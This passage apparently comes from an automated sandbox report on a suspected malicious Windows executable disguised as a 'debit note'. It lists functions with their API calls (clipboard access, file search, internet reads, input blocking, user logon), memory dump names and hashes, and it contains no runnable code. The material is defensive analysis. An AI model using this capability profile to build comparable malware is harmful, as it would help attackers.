                                          • IsWindowVisible.USER32 ref: 0047A368
                                          • IsWindowEnabled.USER32 ref: 0047A378
                                          • GetForegroundWindow.USER32(?,?,?,00000001), ref: 0047A385
                                          • IsIconic.USER32 ref: 0047A393
                                          • IsZoomed.USER32 ref: 0047A3A1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                          • String ID:
                                          • API String ID: 292994002-0
                                          • Opcode ID: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
                                          • Instruction ID: 143e3079ffab126fd184b85051f6534cdea6adf6d01d93e69c1b4810180b6228
                                          • Opcode Fuzzy Hash: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
                                          • Instruction Fuzzy Hash: 8F11A2322001119BE3219F2ADC05B9FB798AF80715F15842FF849E7250DBB8E85187A9
                                          Function 0047839D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 228comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9
                                          • CoInitialize.OLE32(00000000), ref: 00478442
                                          • CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0047845B
                                          • CoUninitialize.OLE32 ref: 0047863C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                          • String ID: .lnk
                                          • API String ID: 886957087-24824748
                                          • Opcode ID: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
                                          • Instruction ID: cf4755465b87a828534c2837f83e1451e93ee4f6fe559e45c0b7480b45348b92
                                          • Opcode Fuzzy Hash: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
                                          • Instruction Fuzzy Hash: 17816D70344301AFD210EB54CC82F5AB3E5AFC8B18F10896EF658DB2D1DAB5E945CB96
                                          Function 0046DC80 Relevance: 6.1, APIs: 4, Instructions: 70clipboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • OpenClipboard.USER32(?), ref: 0046DCE7
                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
                                          • GetClipboardData.USER32(0000000D), ref: 0046DD01
                                          • CloseClipboard.USER32 ref: 0046DD0D
                                          • GlobalLock.KERNEL32(00000000), ref: 0046DD37
                                          • CloseClipboard.USER32 ref: 0046DD41
                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
                                          • GetClipboardData.USER32(00000001), ref: 0046DD8D
                                          • CloseClipboard.USER32 ref: 0046DD99
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
                                          • String ID:
                                          • API String ID: 15083398-0
                                          • Opcode ID: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
                                          • Instruction ID: df02eb04a95629b292fb88db9571ebb8a4b5ed240788a0c572d8156b6d3d2bc0
                                          • Opcode Fuzzy Hash: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
                                          • Instruction Fuzzy Hash: 1A0128326042416BC311BBB99C8596E7B64EF4A324F04097FF984A72C1EB74A912C3A9
                                          Function 0044F430 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: U$\
                                          • API String ID: 4104443479-100911408
                                          • Opcode ID: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
                                          • Instruction ID: 961864e7757f6edfa256f53df2fe8495351bb1c33360f7104140ceff5b52ad59
                                          • Opcode Fuzzy Hash: 8409e1e1a3b6e8568ef346b3eec2e6609d783923d36277a6c09bfee55c093031
                                          • Instruction Fuzzy Hash: 7002A070E002499FEF28CF69C4907AEBBF2AF95304F2481AED45297381D7396D4ACB55
                                          Function 0045CAFA Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045CB1F
                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0045CB7C
                                          • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CBAB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Find$File$CloseFirstNext
                                          • String ID:
                                          • API String ID: 3541575487-0
                                          • Opcode ID: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
                                          • Instruction ID: f333144462bda28c064cc07c1e05bb1389ec512a64b809c533c1c3d7cc497df0
                                          • Opcode Fuzzy Hash: b82a98c6df9a243ef4fbf3c667c5144d50f68704456ba494e21579813087d3e5
                                          • Instruction Fuzzy Hash: 6741DF716003019FC710EF69D881A9BB3E5FF89315F108A6EE9698B351DB75F844CB94
                                          Function 004339B6 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFileAttributesW.KERNEL32(?,00000000), ref: 004339C7
                                          • FindFirstFileW.KERNEL32(?,?), ref: 004339D8
                                          • FindClose.KERNEL32(00000000), ref: 004339EB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FileFind$AttributesCloseFirst
                                          • String ID:
                                          • API String ID: 48322524-0
                                          • Opcode ID: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
                                          • Instruction ID: b419dbaef297d354eb99830e4178f101d1a7f75c7260f3cbf0392e7d05c3e8e7
                                          • Opcode Fuzzy Hash: 957631a30c41d6cd228e989780156951a90b63876f33aac8b2b1d3c9657f363e
                                          • Instruction Fuzzy Hash: 22E092328145189B8610AA78AC0D4EE779CDF0A236F100B56FE38C21E0D7B49A9047DA
                                          Function 004422FE Relevance: 3.1, APIs: 2, Instructions: 89networkfileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 0044231E
                                          • InternetReadFile.WININET(?,00000000,?,?), ref: 00442356
                                            • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                          • String ID:
                                          • API String ID: 901099227-0
                                          • Opcode ID: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
                                          • Instruction ID: 2cb050104b41b6b223ad4d4b8d529f91c68f3ac810c45c6f1fc1690b5501c343
                                          • Opcode Fuzzy Hash: b48fbef154557e42056369557a390c5e15e1cd9efc8ac9760c34eb316c367bda
                                          • Instruction Fuzzy Hash: B32174752002047BFB10DE26DC41FAB73A8EB54765F40C42BFE059A141D6B8E5458BA5
                                          Function 0047EA6F Relevance: 2.0, APIs: 1, Instructions: 502COMMON
                                          Download Yara Rule
                                          APIs
                                          • DefDlgProcW.USER32(?,?,?,?), ref: 0047EA9E
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Proc
                                          • String ID:
                                          • API String ID: 2346855178-0
                                          • Opcode ID: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
                                          • Instruction ID: f892bfb12232205f5f58103f0897237a3558493ed3735c4837d976d353c396a9
                                          • Opcode Fuzzy Hash: abcbf0d1afc1a497e280cfdffd4bd47b828388575322d1f456f5668f6881d692
                                          • Instruction Fuzzy Hash: 82B1167330C1182DF218A6AABC81EFF679CD7C5779B10863FF248C55C2D62B5821A1B9
                                          Function 0045A370 Relevance: 1.5, APIs: 1, Instructions: 24keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • BlockInput.USER32(00000001), ref: 0045A38B
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: BlockInput
                                          • String ID:
                                          • API String ID: 3456056419-0
                                          • Opcode ID: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
                                          • Instruction ID: ec784d9e1adcb2c5bdb0852901797f150ca91aa996cd98963819779bf85d9a24
                                          • Opcode Fuzzy Hash: 458ede1686394d551c7eb4c8b41db034409c2976cc7efd11918dc51f9e1a79d5
                                          • Instruction Fuzzy Hash: D8E0DF352002029FC300EF66C84495AB7E8EF94368F10883EFD45D7341EA74E80087A6
                                          Function 00436CD7 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                          Download Yara Rule
                                          APIs
                                          • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 00436CF9
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: LogonUser
                                          • String ID:
                                          • API String ID: 1244722697-0
                                          • Opcode ID: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
                                          • Instruction ID: 7208d1371e48addad7a82bf776aec5a394cd9d1c10cc53d221989696c058f8f6
                                          • Opcode Fuzzy Hash: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
                                          • Instruction Fuzzy Hash: 4DE0ECB626460EAFDB04CF68DC42EBF37ADA749710F004618BA16D7280C670E911CA74
                                          Function 00472C3F Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetUserNameW.ADVAPI32(?,?), ref: 00472C51
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: NameUser
                                          • String ID:
                                          • API String ID: 2645101109-0
                                          • Opcode ID: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
                                          • Instruction ID: cbdb53fe1e94bfc77c89611ca4b62432a5518fa0aa6a76fb1323f8d63e00c007
                                          • Opcode Fuzzy Hash: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
                                          • Instruction Fuzzy Hash: C3C04CB5004008EBDB148F50D9889D93B78BB04340F108199B60E95040D7B496C9DBA5
                                          Function 0041F250 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetUnhandledExceptionFilter.KERNEL32(Function_0001F20E), ref: 0041F255
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterUnhandled
                                          • String ID:
                                          • API String ID: 3192549508-0
                                          • Opcode ID: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
                                          • Instruction ID: fb0c5f5a3ae0de1c345b26270a1521b23addb5e119a177cdcf8b78f668196b28
                                          • Opcode Fuzzy Hash: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
                                          • Instruction Fuzzy Hash: 8190027625150157470417705E1964925905B5960275108BA6D11C8564DAA98089A619
                                          Function 0042200C Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: N@
                                          • API String ID: 0-1509896676
                                          • Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
                                          • Instruction ID: 433aa61276291b0397d7e0efaabfbd78b7095b9e612e68cb1662ee3b8c9c8781
                                          • Opcode Fuzzy Hash: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
                                          • Instruction Fuzzy Hash: 48618E71A003259FCB18CF48D584AAEBBF2FF84310F5AC1AED9095B361C7B59955CB88
                                          Function 0040FA10 Relevance: .6, Instructions: 607COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
                                          • Instruction ID: 421b1f2eadcb2952f8febc08502f38db6b120a980ad90a3a21cdce547adf9c29
                                          • Opcode Fuzzy Hash: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
                                          • Instruction Fuzzy Hash: 132270B7E5151A9BDB08CE95CC415D9B3A3BBC832471F9129D819E7305EE78BA078BC0
                                          Function 004129D0 Relevance: .4, Instructions: 355COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                                          • Instruction ID: 2bcfc4213c201322ab01e918109ed7ba488288358e1fe6702c600853dbf8b640
                                          • Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                                          • Instruction Fuzzy Hash: 9CC1B473D0E6B3058B35466D45182BFFE626E91B8031FC392DDD03F399C22AADA196D4
                                          Function 004125E8 Relevance: .3, Instructions: 349COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                                          • Instruction ID: 7014f9c6c4bb04029b5f83a2624c32223adacf072d8c068e18a9ecb8bc3ae66d
                                          • Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                                          • Instruction Fuzzy Hash: 04C1A473D1A6B2058B36476D05182BFFE626E91B8031FC3D6CCD03F299C22AAD9596D4
                                          Function 00412216 Relevance: .3, Instructions: 332COMMON
                                          Download Yara Rule
